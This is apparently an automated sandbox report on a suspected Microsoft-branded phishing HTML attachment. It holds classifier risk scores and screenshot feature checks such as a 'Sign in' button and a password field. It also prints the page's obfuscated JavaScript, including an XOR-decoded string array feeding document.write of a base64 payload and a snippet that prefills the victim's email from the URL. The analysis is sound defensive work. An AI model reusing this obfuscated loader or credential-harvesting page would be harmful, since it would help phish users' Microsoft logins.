Windows Analysis Report
Play_VM_Now_23sec.htm

{
  "risk_score": 1,
  "reasoning": [
    "No headers provided to analyze",
    "Cannot make security assessment without header information",
    "Default to low risk score due to lack of evidence"
  ]
}

Date: unknown

{
    "risk_score": 7,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. While the script may have some legitimate functionality, the overall risk level is high due to the presence of these concerning indicators."
}

let rh13z8jemt = 'foxxc@airborn.com'; // Ullamco tempor kielbasa qui flank pariatur, pastrami chicken.
var iDFYt_eilvYsFXbIrfCStTP$Vb=hFYb_pIVp;function hFYb_pIVp(HxvNllzSUcuW,yJ$CMMaEvaypnBFiRQBvtMV){var pYuBZGOlnIaQWD=qNqReA_ERDLabtmqm();return hFYb_pIVp=function(na$PHqpXuty$hqTYx,GtcHCNwrmtDpeZX){na$PHqpXuty$hqTYx=na$PHqpXuty$hqTYx-(-parseInt(0x3)*Math.trunc(-parseInt(0x151))+-parseInt(0x2f)*-parseInt(0x71)+Math.trunc(-parseInt(0xbfe))*Math.ceil(0x2));var WSAPekNgGDGb=pYuBZGOlnIaQWD[na$PHqpXuty$hqTYx];if(hFYb_pIVp['uCRBWi']===undefined){var Zl$HxtwaJnv=function(ziIXg){var eR$ZWqQA=-0x2542+Math.floor(-0xa37)+parseInt(0x3164)&0x256a+Math.max(parseInt(0x126e),0x126e)*-0x2+0x71,SJFzmBLECHfBlWuhYSMN=new Uint8Array(ziIXg['match'](/.{1,2}/g)['map'](NmUtCkTxEtPcjH=>parseInt(NmUtCkTxEtPcjH,Math.ceil(0xc9)*0x31+-parseInt(0x1)*Math.ceil(parseInt(0x1dcb))+parseFloat(-parseInt(0x1))*Math.ceil(parseInt(0x89e))))),fmWYVwPHnuUNvrRrfLsY=SJFzmBLECHfBlWuhYSMN['map'](dUhrAXejdWqClUuwBv=>dUhrAXejdWqClUuwBv^eR$ZWqQA),IAlWiAfsPywg=new TextDecoder(),W$kX_AjeAOSuAyOyihz=IAlWiAfsPywg['decode'](fmWYVwPHnuUNvrRrfLsY);return W$kX_AjeAOSuAyOyihz;};hFYb_pIVp['SIlvWv']=Zl$HxtwaJnv,HxvNllzSUcuW=arguments,hFYb_pIVp['uCRBWi']=!![];}var fsImFNciZSPkuCGrZWUbLp=pYuBZGOlnIaQWD[parseInt(0x217f)+parseInt(0x2543)*0x1+-parseInt(0x46c2)],XtFTqDwDWEbrEin_a$l=na$PHqpXuty$hqTYx+fsImFNciZSPkuCGrZWUbLp,tQMdiCEkOvFIfxP$dZSVrrVl=HxvNllzSUcuW[XtFTqDwDWEbrEin_a$l];return!tQMdiCEkOvFIfxP$dZSVrrVl?(hFYb_pIVp['hiZsQe']===undefined&&(hFYb_pIVp['hiZsQe']=!![]),WSAPekNgGDGb=hFYb_pIVp['SIlvWv'](WSAPekNgGDGb),HxvNllzSUcuW[XtFTqDwDWEbrEin_a$l]=WSAPekNgGDGb):WSAPekNgGDGb=tQMdiCEkOvFIfxP$dZSVrrVl,WSAPekNgGDGb;},hFYb_pIVp(HxvNllzSUcuW,yJ$CMMaEvaypnBFiRQBvtMV);}(function(lWuhYSMN$MfmWYVwP,nuUN$vrRrfLsYrIAlWi){var uOlWTkGO=hFYb_pIVp,fsPywgGWkX$Aje_AO=lWuhYSMN$MfmWYVwP();while(!![]){try{var uAy_OyihzxNmUtCk$TxEtPcj=parseFloat(uOlWTkGO(0xc1))/(parseInt(-0x1fc)+parseInt(0x1bbd)*parseFloat(-0x1)+0x1dba)+Math['floor'](parseFloat(uOlWTkGO(0xc2))/(-0x5*-parseInt(0x23c)+0x43e+-0xf68))+parseFloat(uOlWTkGO(0xb9))/(Math.floor(0x2706)+parseFloat(0xad)*Math.max(parseInt(0x35),0x35)+parseInt(0x12b5)*parseFloat(-parseInt(0x4)))*Number(parseFloat(uOlWTkGO(0xbc))/(-parseInt(0x179)*-parseInt(0x7)+Number(-0x24be)+-0x6f*Math.floor(-parseInt(0x3d))))+parseFloat(parseFloat(uOlWTkGO(0xbb))/(0x1bd5+parseInt(0x17b2)+parseInt(0x2)*-parseInt(0x19c1)))*parseInt(-parseFloat(uOlWTkGO(0xb6))/(Math.floor(-parseInt(0x24bb))+parseInt(0x846)*0x2+parseInt(parseInt(0x1435))))+parseFloat(uOlWTkGO(0xc0))/(parseInt(0x1)*Math.floor(-0x4f9)+0x48b+0x75)*Math['trunc'](parseFloat(uOlWTkGO(0xbf))/(-0x15ce+parseInt(0x2f)*Math.max(parseInt(0x9b),0x9b)+-parseInt(0x69f)))+-parseFloat(uOlWTkGO(0xb7))/(Math.max(-parseInt(0x1b6),-parseInt(0x1b6))*Math.floor(parseInt(0x4))+parseInt(0x8c0)+Math.trunc(-0x1df)*parseInt(0x1))+parseFloat(uOlWTkGO(0xb8))/(parseInt(-0x56)*0x41+parseFloat(-parseInt(0x1))*0x13e9+0x29c9)*parseInt(-parseFloat(uOlWTkGO(0xbe))/(Number(-0x2609)+0xb2*-parseInt(0x1)+Math.max(parseInt(0x26c6),parseInt(0x26c6))));if(uAy_OyihzxNmUtCk$TxEtPcj===nuUN$vrRrfLsYrIAlWi)break;else fsPywgGWkX$Aje_AO['push'](fsPywgGWkX$Aje_AO['shift']());}catch(G$dUhr_AXejdWqClUuwB){fsPywgGWkX$Aje_AO['push'](fsPywgGWkX$Aje_AO['shift']());}}}(qNqReA_ERDLabtmqm,Math.max(0x11,parseInt(0x11))*-parseInt(0x22e1)+parseInt(0x46)*Number(parseInt(0xe78))+parseFloat(-parseInt(0x1))*-0x183f8),document[iDFYt_eilvYsFXbIrfCStTP$Vb(0xbd)](atob(iDFYt_eilvYsFXbIrfCStTP$Vb(0xba))));function qNqReA_ERDLabtmqm(){var xGhpgAxSj$nsWN=['d9de8aae9d8a929b','d3b992a1a8a6a6','9c99829f8e','dadaa39a9bb39e9f','d39bb29ea9b1ac','d9dcd2dbded9d2a99d9fa6bd92','d8d3d9d8d387bd9981a299','dedadbd2d3d9a3939da58787','dcdbdfdf85a9ad82b9ba','ddd9d9dbd3d2a48785a28aba','dcdadadbdcdfdbbcafaa858abb','dfdedbdcdfdf91b8be889ebc','bba8adaebfdba5bebcbda9ada2ac83db89bc9cc0a88193848facda98a2ac9383898688d2a286bd9ea281dfa0a8819384b1bcad80bb8c848ca2a8aa8cbba8ae9fa7b8aad388d8a9838981dea88fbcb186b2bc939da2acb99d89ac

{
    "risk_score": 4,
    "reasoning": "The script uses a function to extract a parameter from the URL, which is a common practice. However, the function name and variable names are obfuscated, which raises some concerns. Additionally, the script checks the value of the extracted parameter and assigns it to a variable, but the purpose of this variable is unclear. Overall, the script exhibits some moderate-risk indicators, but without more context, it is difficult to determine the true intent."
}

        
        const ptrjkso = (basifying) => {
            basifying = basifying.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');
            var forril = new RegExp('[\\?&]' + basifying + '=([^&#]*)');
            var cau = forril.exec(location.search); // Velit strip steak cillum hamburger, capicola pancetta flank aute picanha turkey tongue.
            return cau === null ? '' : decodeURIComponent(cau[1].replace(/\+/g, ' '));
        } //Ipsum exercitation et sint labore jowl short loin.

        rh13z8jemt = ptrjkso('e') == '' ? rh13z8jemt : ptrjkso('e');
    

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false,
    "reasoning": "This is an invalid URL format missing protocol and domain information"
}

URL: ://

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "Sign in",
"text_input_field_labels": [
"Enter password"
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "Sign in",
"text_input_field_labels": [
"Enter password"
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}

{
"contains_trigger_text": true,
"trigger_text": "Enter password",
"prominent_button_name": "Sign in",
"text_input_field_labels": [
"Enter password"
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": true,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
"contains_trigger_text": true,
"trigger_text": "Enter password",
"prominent_button_name": "Sign in",
"text_input_field_labels": [
"Enter password"
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": true,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "Sign in options",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "Sign in options",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}